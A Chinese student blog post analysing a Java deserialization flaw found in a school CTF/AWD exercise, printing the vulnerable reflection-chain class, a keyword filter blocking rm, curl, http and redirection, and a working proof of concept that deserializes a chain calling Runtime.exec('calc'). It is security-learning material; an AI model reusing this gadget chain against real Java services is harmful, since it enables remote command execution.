学校网安实践遇到的反序列化

正在进行java安全的学习,正好学校网安实践有相关的题目,这个反序列化漏洞是在学校的awd靶场中进行cms审计时发现的。也算是我第一次独立分析java反序列化代码。
这里只放出反序列化代码的分析过程。

反序列化代码

package com.deserialize;

import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ReflectionPlay implements Serializable {
   private static final long serialVersionUID = 814434800882325819L;

   private void gl(ReflectionPlay.ReflectionObject obj) {
      if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
         for(int i = 0; i < obj.args.length; ++i) {
            Object ag = obj.args[i];
            if (ag != null && ag instanceof String) {
               String fh = replaceAll((String)ag, "rm", "XX");
               fh = replaceAll(fh, "http", "XX");
               fh = replaceAll(fh, "\\\\", "XX");
               fh = replaceAll(fh, "//", "XX");
               fh = replaceAll(fh, "\\.", "XX");
               fh = replaceAll(fh, ">", "XX");
               fh = replaceAll(fh, "curl", "XX");
               obj.args[i] = fh;
            }
         }

      }
   }

   public static String replaceAll(String input, String regex, String replacement) {
      try {
         Pattern p = Pattern.compile(regex, 2);
         Matcher m = p.matcher(input);
         return m.replaceAll(replacement);
      } catch (Exception var5) {
         var5.printStackTrace();
         return input;
      }
   }

   public class AttackObject implements Serializable {
      private static final long serialVersionUID = 4082925022846947297L;
      private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

      public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
         this.reflectionChainsArry = reflectionChainsArry;
      }

      private void readObject(ObjectInputStream stream) throws Exception {
         this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
         this.reflectionChainsArry.execute();
      }
   }

   public class ReflectionChainsArry implements Serializable {
      private static final long serialVersionUID = 991019635353232843L;
      private ReflectionPlay.ReflectionChains[] reflectionChains;

      public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
         this.reflectionChains = reflectionChains;
      }

      public Object execute() throws Exception {
         Object concurrentObject = null;
         ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
         int var3 = var2.length;

         for(int var4 = 0; var4 < var3; ++var4) {
            ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
            concurrentObject = reflectionChainObject.transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

   public class ReflectionChains implements Serializable {
      private static final long serialVersionUID = 7085587767543412902L;
      private Object firstObject;
      private ReflectionPlay.ReflectionObject[] reflectionObjects;

      public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
         this.firstObject = firstObject;
         this.reflectionObjects = reflectionObjects;
      }

      public Object transform(Object InObj) throws Exception {
         Object concurrentObject = this.firstObject;

         for(int i = 0; i < this.reflectionObjects.length; ++i) {
            if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
               this.reflectionObjects[i].addArg(InObj);
            }

            ReflectionPlay.this.gl(this.reflectionObjects[i]);
            concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

   public class ReflectionObject implements Serializable {
      private static final long serialVersionUID = -3677766270625763305L;
      private String methodName;
      private Class[] paramTypes;
      private Object[] args;
      private Object arg;
      public int dynarg = 0;

      public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
         this.methodName = methodName;
         this.paramTypes = paramTypes;
         this.args = args;
         this.dynarg = dynarg;
      }

      public void addArg(Object add) {
         if (this.methodName.equals("newInstance")) {
            this.args = new Object[]{new Object[]{add}};
         } else {
            if (this.args.length > 0) {
               this.args[0] = add;
            } else {
               this.args = new Object[]{add};
            }

         }
      }

      public Object transform(Object input) throws Exception {
         try {
            Class inputClass = input.getClass();
            Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
            TargetMethod.setAccessible(true);
            return TargetMethod.invoke(input, this.args);
         } catch (Exception var4) {
            if (this.args != null && this.args.length != 0) {
               Object obj = this.args[0];
               if (obj instanceof Object[]) {
                  throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
               } else {
                  throw new RuntimeException(obj.toString());
               }
            } else {
               throw var4;
            }
         }
      }
   }
}

大致看一眼,可以发现与commons-collections中的transform利用链相似。
首先找到readObject方法,这里构造方法接收参数为 ReflectionPlay.ReflectionChainsArry,readObject中调用execute方法

 public class AttackObject implements Serializable {
      private static final long serialVersionUID = 4082925022846947297L;
      private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

      public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
         this.reflectionChainsArry = reflectionChainsArry;
      }

      private void readObject(ObjectInputStream stream) throws Exception {
         this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
         this.reflectionChainsArry.execute();
      }
   }

ReflectionPlay.ReflectionChainsArry代码,构造方法接收列表参数reflectionChains,意味着可以构造多条利用链,

 public class ReflectionChainsArry implements Serializable {
      private static final long serialVersionUID = 991019635353232843L;
      private ReflectionPlay.ReflectionChains[] reflectionChains;

      public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
         this.reflectionChains = reflectionChains;
      }

      public Object execute() throws Exception {
         Object concurrentObject = null;
         ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
         int var3 = var2.length;

         for(int var4 = 0; var4 < var3; ++var4) {
            ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
            concurrentObject = reflectionChainObject.transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

ReflectionChains类的代码 意味着构造利用链,链中依次调用transform函数,且将上一个输入作为下一次的输出。感觉类似commons-collections利用链中的transform链。

public class ReflectionChains implements Serializable {
      private static final long serialVersionUID = 7085587767543412902L;
      private Object firstObject;
      private ReflectionPlay.ReflectionObject[] reflectionObjects;

      public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {//构造方法接收两个参数,这个firstObject是指要被实例化的类,如Runtime.class
         this.firstObject = firstObject;
         this.reflectionObjects = reflectionObjects;
      }

      public Object transform(Object InObj) throws Exception {
         Object concurrentObject = this.firstObject;

         for(int i = 0; i < this.reflectionObjects.length; ++i) {//遍历reflectionObjects列表,当其中一个reflectionObjects的dynarg为1且参数InObj非空时,调用addArg方法。
            if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
               this.reflectionObjects[i].addArg(InObj);
            }
		//调用gl方法过滤敏感词
            ReflectionPlay.this.gl(this.reflectionObjects[i]);
          //调用transform方法
            concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
         }

         return concurrentObject;
      }
   }

gl函数代码

 private void gl(ReflectionPlay.ReflectionObject obj) {
      if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {//当对象非空且方法名为exec,且参数个数非空时,对每个参数进行过滤,使用XX替换以下的正则表达式
         for(int i = 0; i < obj.args.length; ++i) {
            Object ag = obj.args[i];
            if (ag != null && ag instanceof String) {
               String fh = replaceAll((String)ag, "rm", "XX");
               fh = replaceAll(fh, "http", "XX");
               fh = replaceAll(fh, "\\\\", "XX");
               fh = replaceAll(fh, "//", "XX");
               fh = replaceAll(fh, "\\.", "XX");
               fh = replaceAll(fh, ">", "XX");
               fh = replaceAll(fh, "curl", "XX");
               obj.args[i] = fh;
            }
         }

      }
   }

   public static String replaceAll(String input, String regex, String replacement) {//过滤函数
      try {
         Pattern p = Pattern.compile(regex, 2);
         Matcher m = p.matcher(input);
         return m.replaceAll(replacement);
      } catch (Exception var5) {
         var5.printStackTrace();
         return input;
      }
   }

ReflectionObject代码

 public class ReflectionObject implements Serializable {
      private static final long serialVersionUID = -3677766270625763305L;
      private String methodName;
      private Class[] paramTypes;
      private Object[] args;
      private Object arg;
      public int dynarg = 0;

      public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
         this.methodName = methodName;
         this.paramTypes = paramTypes;
         this.args = args;
         this.dynarg = dynarg;
      }//构造方法接收方法名,参数类型,参数列表

      public void addArg(Object add) {//当方法名为newInstance时,参数列表为add对象
         if (this.methodName.equals("newInstance")) {
            this.args = new Object[]{new Object[]{add}};//=={{add}}
         } else {
            if (this.args.length > 0) {//若不为newInstance,则第一个参数为add。
               this.args[0] = add;
            } else {
               this.args = new Object[]{add};//=={add}
            }

         }
      }

      public Object transform(Object input) throws Exception {//使用反射执行代码
         try {
            Class inputClass = input.getClass();
            Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
            TargetMethod.setAccessible(true);
            return TargetMethod.invoke(input, this.args);
         } catch (Exception var4) {
            if (this.args != null && this.args.length != 0) {
               Object obj = this.args[0];
               if (obj instanceof Object[]) {
                  throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
               } else {
                  throw new RuntimeException(obj.toString());
               }
            } else {
               throw var4;
            }
         }
      }
   }

调用链
image

尝试构造poc,成功弹出计算器

package com.company;

import com.company.ReflectionPlay.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws Exception{
        ReflectionObject obj1 = new ReflectionPlay().new ReflectionObject(0,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});//构造三个对象来组成第一条链
        ReflectionObject obj2 = new ReflectionPlay().new ReflectionObject(0,"invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null});
        ReflectionObject obj3 = new ReflectionPlay().new ReflectionObject(0,"exec",new Class[]{String.class},new Object[]{"calc"});
        ReflectionChains chain1 = new ReflectionPlay().new ReflectionChains(Runtime.class, new ReflectionObject[]{obj1, obj2, obj3});//第一条链
        ReflectionChains[] transformers_exec = new ReflectionChains[]{
                chain1
        };//poc只用第一条链验证,exp的话需要多条链进行复杂的构造,或者尝试反弹shell

        ReflectionChainsArry ca = new ReflectionPlay().new ReflectionChainsArry(transformers_exec);

        AttackObject ao = new ReflectionPlay().new AttackObject(ca);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ao);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

调用栈

image

posted @ 2021-10-19 13:23  xyylll  阅读(107)  评论(0编辑  收藏  举报